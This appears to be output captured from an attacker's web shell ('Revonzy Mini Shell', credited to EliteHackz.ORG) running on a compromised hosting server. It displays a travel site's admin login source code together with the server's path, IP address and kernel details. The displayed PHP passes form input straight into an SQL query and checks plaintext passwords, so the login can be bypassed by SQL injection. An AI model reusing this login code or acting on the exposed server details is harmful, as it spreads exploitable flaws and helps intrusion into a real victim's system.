Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/vaibhavitoursandtravels.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/vaibhavitoursandtravels.com/admin/index.php

<?php
session_start();
if (isset($_SESSION['admin_name'])) {
  header("location: dashboard.php");
}
include '../common/db.php';

if (isset($_POST['submit'])) {
    $username = $_POST['admin_name'];
    $password = $_POST['password'];
    $sql = "select * from user where admin_name = '$username' and password = '$password' ";
    $result = mysqli_query($conn, $sql);

    if ($result->num_rows > 0) {
        $_SESSION['admin_name'] = $username;
        header("location: dashboard.php");
    } else {
        echo "Your Login Name or Password is invalid";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="utf-8">
      <title>Admin Panel</title>
      <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
       <link rel="icon" href="../assets/images/favi.png" type="image/x-icon">
      <link rel="shortcut icon" type="image/x-icon" href="../images/favi.png">
      <link href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700,900" rel="stylesheet">
      <link rel="stylesheet" href="assets/css/bootstrap.min.css">
      <link rel="stylesheet" href="assets/plugins/fontawesome/css/all.min.css">
      <link rel="stylesheet" href="assets/plugins/fontawesome/css/fontawesome.min.css">
      <link rel="stylesheet" href="assets/css/style.css">
   </head>
   <body>
      <div class="main-wrapper">
         <div class="account-page">
            <div class="container">
               <h3 class="account-title text-white">Login</h3>
               <div class="account-box">
                  <div class="account-wrapper">
                     <div class="account-logo">
                        <a href="index.php"><img src="http://localhost/vaibhav/images/logo.png" width="130px;"></a>
                     </div>
                     <form action="" method="POST">
                        <div class="form-group">
                           <label>Username or Email</label>
                           <input type="text" class="form-control" name="admin_name" placeholder="please enter your user name">
                        </div>
                        <div class="form-group">
                           <label>Password</label>
                           <input type="password" class="form-control" name="password" placeholder="***********">
                        </div>
                        <div class="form-group text-center custom-mt-form-group">
                           <button class="btn btn-primary btn-block account-btn" type="submit" name="submit">Login</button>
                        </div>
                        
                     </form>
                  </div>
               </div>
            </div>
         </div>
      </div>
      <script src="assets/js/jquery-3.6.0.min.js"></script>
      <script src="assets/js/bootstrap.bundle.min.js"></script>
      <script src="assets/js/jquery.slimscroll.js"></script>
      <script src="assets/js/app.js"></script>
   </body>
  
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4